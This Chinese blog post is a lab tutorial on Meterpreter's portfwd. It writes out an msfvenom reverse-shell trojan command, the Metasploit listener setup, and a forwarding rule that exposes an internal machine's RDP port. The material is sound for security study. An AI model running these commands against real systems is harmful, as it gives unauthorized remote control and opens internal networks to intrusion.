当前位置:网站首页>portfwd 端口转发
portfwd 端口转发
2022-07-24 17:04:00 【ailx10】
前面我们已经学习了ssh端口转发、防火墙端口转发、rinetd端口转发、nc端口转发、socat端口转发、portmap端口转发,今天我们来学习portfwd端口转发,portfwd 是meterpreter 中的一个功能,那么本次实验就先来制造一个小马,然后基于meterpreter的portfwd,实现远程端口转发,访问跳板机kali的1111端口,就能访问内网win7的3389端口,这也叫3389端口反弹~
实验环境:
- macos:192.168.199.206
- kali:192.168.199.247
- win7:192.168.199.185
1、生成一个小马
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.199.247 -f exe > hack.exe
2、通过metasploit监听5555端口
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555
3、找个windows虚拟机,运行小马
exploit -j -z
sessions
4、进入sessions,然后使用portfwd进行端口转发
portfwd add -l 1111 -r 127.0.0.1 -p 3389
5、访问kali的1111端口,就是访问win7的3389端口

网络安全任重道远,洗洗睡吧~

边栏推荐
- Notebook computer purchase guide (specific brand and model are not recommended)
- OS Experiment 5 process switching based on kernel stack switching
- EF combined with sqlbulkcopy batch insert data
- AXI协议(2):AXI架构的五个通道和两种事务
- Shardingsphere database read / write separation
- [redis] -1. two ways of setting up environment based on docker
- What exactly is API?
- QT generation connection Library
- Summary of experience in using.Net test framework xUnit, mstest, specflow
- Why should we launch getaverse?
猜你喜欢

At & T pseudo instruction and interpretation of CFI CFA

Meeting OA project progress (II)

Canvas 从入门到劝朋友放弃(图解版)

PS pull out logo

【GNN报告】腾讯AI lab 徐挺洋:图生成模型及其在分子生成中的应用

Using unity to do simulation, I don't allow this chart plug-in, you don't know

Envi SHP to ROI and mask the grid

量化框架backtrader之一文读懂Indicator指标

QT embed Notepad under win10

Custom types: Enumeration
随机推荐
Logisim group experiment 10 single cycle MIPS CPU
别再到处乱放配置文件了!试试我司使用 7 年的这套解决方案,稳的一秕
QT generation connection Library
EF LINQ Miscellany
QT keyboard event (II) -- long press the key to trigger the event event repeatedly, and the problem is solved
Xxx.pro learning in QT
[GNN report] Tencent AI Lab Xu TingYang: graph generation model and its application in molecular generation
Win10 download address
Axi protocol (1): introduction to AMBA bus, introduction to Axi concept and background, characteristics and functions of Axi protocol
Analyze the capabilities and scenarios of Apache pulsar, a cloud native message flow system
剑指 Offer 48. 最长不含重复字符的子字符串
.NET 测试框架 xUnit,MSTest, Specflow 使用经验汇总
Template method mode
Getting started with arcpy
Zhao Ming, CEO of glory: it is difficult for a single manufacturer to achieve full scene product coverage
[zero basis] fully understand webgl (VIII)
AI opportunities for operators: expand new tracks with large models
什么是模糊理论,基础,流程
Development dynamics | stonedb 2022 release milestone
Envi SHP to ROI and mask the grid